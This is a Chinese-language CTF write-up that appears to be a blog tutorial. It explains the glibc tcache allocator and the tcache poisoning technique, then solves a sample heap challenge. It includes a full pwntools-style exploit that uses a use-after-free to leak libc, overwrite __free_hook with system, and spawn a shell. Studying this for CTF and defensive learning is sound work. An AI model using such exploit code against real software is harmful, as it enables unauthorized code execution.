Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

前置知识

Tcache

头插头取,FILO
tcache_perthread_struct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

# define TCACHE_MAX_BINS 64

static __thread tcache_perthread_struct *tcache = NULL;

每个 thread 都会维护一个 tcache_perthread_struct,它是整个 tcache 的管理结构,一共有 TCACHE_MAX_BINS 个计数器和 TCACHE_MAX_BINS 项 tcache_entry,其中

  • tcache_entry 用单向链表的方式链接了相同大小的处于空闲状态(free 后)的 chunk,这一点上和 fastbin 很像。
  • counts 记录了 tcache_entry 链上空闲 chunk 的数目,每条链上最多可以有 7 个 chunk。
    用图表示大概是:

8b39868b 04e0 40b8 a70e 1a914de0df3b

基本工作方式

  • 第一次 malloc 时,会先 malloc 一块内存用来存放 tcache_perthread_struct
  • free 内存,且 size 小于 small bin size 时
  • tcache 之前会放到 fastbin 或者 unsorted bin 中
  • tcache 后:
    • 先放到对应的 tcache 中,直到 tcache 被填满(默认是 7 个)
    • tcache 被填满之后,再次 free 的内存和之前一样被放到 fastbin 或者 unsorted bin 中
    • tcache 中的 chunk 不会合并(不取消 inuse bit)
  • malloc 内存,且 size 在 tcache 范围内
  • 先从 tcache 取 chunk,直到 tcache 为空
  • tcache 为空后,从 bin 中找
  • tcache 为空时,如果 fastbin/smallbin/unsorted bin 中有 size 符合的 chunk,会先把 fastbin/smallbin/unsorted bin 中的 chunk 放到 tcache 中,直到填满。之后再从 tcache 中取;因此 chunk 在 bin 中和 tcache 中的顺序会反过来

tcache的大小范围为:0x20~0x410(大小包含堆块结构即: malloc(0~0x408))

Tcache_poison的原理

tcache在申请时不会检查指针指向位置是否合法,并且tcache的fd指针指向的不是堆块结构体的首地址,而是实际malloc出的空闲地址的首地址,例子如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
A = malloc(0x8)
B = malloc(0x8)
free(A)
free(B)
#由于头插头取,tcache的结构如下:
#0x20[2]: B -> A
#通过uaf等利用手段。将B的前8字节内容改为free_hook/malloc_hook即:
#0x20[2]: B -> free_hook/malloc_hook
C = malloc(0x8) # B
D = malloc(0x8) # free_hook/malloc_hook
#D就申请到hook的位置上了,可以任意修改hook内容。
#如果改为malloc_hook,可以写one_gadget
#如果改为free_hook,可以写one_gadget,或者写system并释放一个内容为'/bin/sh'的块

例子

1

函数如下:

  • add(): 输入大小与内容,会记录大小,最多可以申请16次,索引为0-15依次增加且不会因为free重用

    2

  • del(): 输入索引,free对应的chunk之后并未置零,有uaf漏洞

    3

  • show(): 输入索引,打印对应chunk的内容

    4

  • edit(): 输入索引与内容,根据add()时的大小输入内容,由于uaf可以在free后继续修改

    5

解题思路:

1
2
3
4
5
6
7
8
9
10
申请一个大于0x410大小的块 # 0
申请一个任意大小的块用于隔离top_chunk # 1
释放索引为0的块,通过show()打印内容以泄露libc
申请两个大小一致的块 # 2、3
先释放块2,再释放块3
利用uaf修改块3的内容为freehook
申请两个和块23一样大的块 # 4、5
5即申请到了free_hook上
申请一个任意大小的块其内容为'/bin/sh' # 6
free块6即可get shell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from Excalibur2 import *
setcontext()

def add(size,txt):
ru('5. Exit\n')
sl('1')
ru('input size:')
sl(str(size).encode())
try:
ru('input content:')
sd(txt)
except:
pass

def free(idx):
ru('5. Exit\n')
sl('2')
ru('input index:')
sl(str(idx).encode())

def show(idx):
ru('5. Exit\n')
sl('3')
ru('input index:')
sl(str(idx).encode())

def edit(idx,txt):
ru('5. Exit\n')
sl('4')
ru('input index:')
sl(str(idx).encode())
ru('input content:')
sd(txt)

def exit():
ru('5. Exit\n')
sl('5')
ru('input size:')
sl(str(size).encode())
ru('input content:')
sd(txt)

proc()
lib('./libc.so')

add(0x410,b'a\n') # 0
add(0x10,b'a\n') # 1
free(0)
show(0)
libc_base = get_addr64() - 0x1ecbe0
free_hook = libc_base + 0x1eee48
malloc_hook = libc_base + 0x1ecb70
add(0x18,b'a\n') # 2
add(0x18,b'a\n') # 3
free(2)
free(3)
edit(3,p64(free_hook)+b'\n')
add(0x18,b'a\n') # 4
ogg = libc_base + 0xe3afe
system = libc_base + libcsym('system')
add(0x18,p64(system)+b'\n') # 5
add(0x18,b'/bin/sh\n') # 6
free(6)
debug()
ia()

tips:

  • gdb中可以用p &__free_hook/p &__malloc_hook打印free_hook/malloc_hook地址
  • 安装pwndbg与pwngdb后,可以用libc打印libc基地址,或者可以用vmmap手动找